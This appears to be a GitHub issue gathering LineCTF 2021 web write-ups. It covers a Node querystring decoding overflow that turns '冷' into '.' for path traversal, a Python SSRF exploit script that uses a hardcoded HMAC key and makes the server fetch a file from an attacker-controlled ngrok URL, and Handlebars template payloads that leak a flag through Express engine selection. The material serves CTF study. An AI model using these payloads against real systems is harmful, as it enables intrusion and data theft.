Open aszx87410 opened 3 years ago
I got the solution from discord, it's about how querystring works. It will try to parse the body using decodeURIComponent
, and fallback to unescapeBuffer
if failed.
You can use %ff
to corrupt decodeURIComponent
decodeURIComponent('%ff')
// Uncaught URIError: URI malformed
Once we switched to unescapeBuffer we can overflow it because it uses Buffer(0~255) under the hood:
https://github.com/nodejs/node/blob/5011009a593437d3e4ab157d448cc464c93c8cc5/lib/querystring.js#L80
function unescapeBuffer(s, decodeSpaces) {
const out = Buffer.allocUnsafe(s.length);
let index = 0;
let outIndex = 0;
let currentChar;
let nextChar;
let hexHigh;
let hexLow;
const maxLength = s.length - 2;
// Flag to know if some hex chars have been decoded
let hasHex = false;
while (index < s.length) {
currentChar = StringPrototypeCharCodeAt(s, index);
if (currentChar === 43 /* '+' */ && decodeSpaces) {
out[outIndex++] = 32; // ' '
index++;
continue;
}
if (currentChar === 37 /* '%' */ && index < maxLength) {
currentChar = StringPrototypeCharCodeAt(s, ++index);
hexHigh = unhexTable[currentChar];
if (!(hexHigh >= 0)) {
out[outIndex++] = 37; // '%'
continue;
} else {
nextChar = StringPrototypeCharCodeAt(s, ++index);
hexLow = unhexTable[nextChar];
if (!(hexLow >= 0)) {
out[outIndex++] = 37; // '%'
index--;
} else {
hasHex = true;
currentChar = hexHigh * 16 + hexLow;
}
}
}
out[outIndex++] = currentChar;
index++;
}
return hasHex ? out.slice(0, outIndex) : out;
}
encoded .
is %2E
, 0x2E = 46, so we can use any character which % 256 = 46
'N'.charCodeAt(0) % 256 // 46
We can use these chars as well : ᘮ
, ᴮ
, ⼮
. kanji works too: 冷
POC:
const out = Buffer.allocUnsafe(1);
out[0] = '冷'.charCodeAt(0)
console.log(out) // <Buffer 2e>
So all we need to do is fail the decodeURIComponent and overflow the buffer:
var querystring = require('querystring')
const body = 'p=1&p=%ff/冷冷/ᘮᘮ/NN/flag'
const { p } = querystring.parse(body)
console.log(p)
// [ '1', '�/../../../flag' ]
https://github.com/r00tstici/writeups/tree/master/LineCTF/diveinternal
from: https://github.com/x-vespiary/writeup/blob/master/2021/03-line/web-diveinternal.md
import hmac
import hashlib
import json
import requests
# SERVICE_URL = 'http://localhost:12004'
SERVICE_URL = '<SERVICE_URL>'
NGROK_URL = '<NGROK_URL>'
PRIVATE_KEY = b'let\'sbitcorinparty'
def integrityStatus():
res = requests.get(f'{SERVICE_URL}/apis/coin', headers={
'Host': 'private:5000',
'Lang': 'integrityStatus'
})
return res.headers.get('Lang')
def download(src: str):
sigining = hmac.new(
PRIVATE_KEY, f'src={src}'.encode('ascii'), hashlib.sha512).hexdigest()
res = requests.get(f'{SERVICE_URL}/apis/coin', headers={
'Host': 'private:5000',
'Lang': f'download?src={src}',
'Sign': sigining
})
return res.headers.get('Lang')
def rollback(key: str, dbhash: str):
sigining = hmac.new(
PRIVATE_KEY, f'dbhash={dbhash}'.encode('ascii'), hashlib.sha512).hexdigest()
res = requests.get(f'{SERVICE_URL}/apis/coin', headers={
'Host': 'private:5000',
'Lang': f'rollback?dbhash={dbhash}',
'Sign': sigining,
'Key': key
})
return res.headers.get('Lang')
if __name__ == '__main__':
res = integrityStatus()
print(res)
status = json.loads(res)
dbhash = status['dbhash']
file = 'dummy'
res = download(f'{NGROK_URL}/{file}')
print(res)
key = hashlib.sha512((dbhash).encode('ascii')).hexdigest()
res = rollback(key, file)
print(res)
should start to learn python...
https://st98.github.io/diary/posts/2021-03-22-linectf.html
app.set('view engine', 'ejs');
just set default view engine, we can still use other view engine.
source code here: https://github.com/expressjs/express/blob/master/lib/view.js#L81
/**
* Initialize a new `View` with the given `name`.
*
* Options:
*
* - `defaultEngine` the default template engine name
* - `engines` template engine require() cache
* - `root` root path for view lookup
*
* @param {string} name
* @param {object} options
* @public
*/
function View(name, options) {
var opts = options || {};
this.defaultEngine = opts.defaultEngine;
this.ext = extname(name);
this.name = name;
this.root = opts.root;
if (!this.ext && !this.defaultEngine) {
throw new Error('No default engine was specified and no extension was provided.');
}
var fileName = name;
if (!this.ext) {
// get extension from default engine name
this.ext = this.defaultEngine[0] !== '.'
? '.' + this.defaultEngine
: this.defaultEngine;
fileName += this.ext;
}
if (!opts.engines[this.ext]) {
// load engine
var mod = this.ext.substr(1)
debug('require "%s"', mod)
// default engine export
var fn = require(mod).__express
if (typeof fn !== 'function') {
throw new Error('Module "' + mod + '" does not provide a view engine.')
}
opts.engines[this.ext] = fn
}
// store loaded engine
this.engine = opts.engines[this.ext];
// lookup path
this.path = this.lookup(fileName);
}
It will try to require corresponding library by extension. So a.ejs.b.c.hbs
will do require('hbs')
.
After we have hbs template, we can bypass the flag check and get the flag, like:
from: st98
{{#each .}}
{{#if (lookup . "toString")}}
{{.}}<br>
{{/if}}
{{/each}}
each .
will do for each on all variables, if there is toString
method we can use {{.}}
to print it.
we can do this for similar purpose
from Jazzy
{{#each this}}
{{#if this.toString}}
{{this}}
{{/if}}
{{/each}}
or
from The duck
{{#each this}}
{{@key}} {{lookup this 0}} {{lookup this 1}} {{lookup this 2}}
<br>
{{/each}}
{{@key}}
will print the key of the variable, and {{lookup this 0}}
prints value[0]
, we can get flag by print every byte.
and this
from hakatashi
{{#with this as |o|}}
{{#with "fl" as |s|}}
{{#with (s.concat "ag") as |n|}}
{{#with (n.slice 0 4) as |p|}}
{{lookup o p}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
Writeups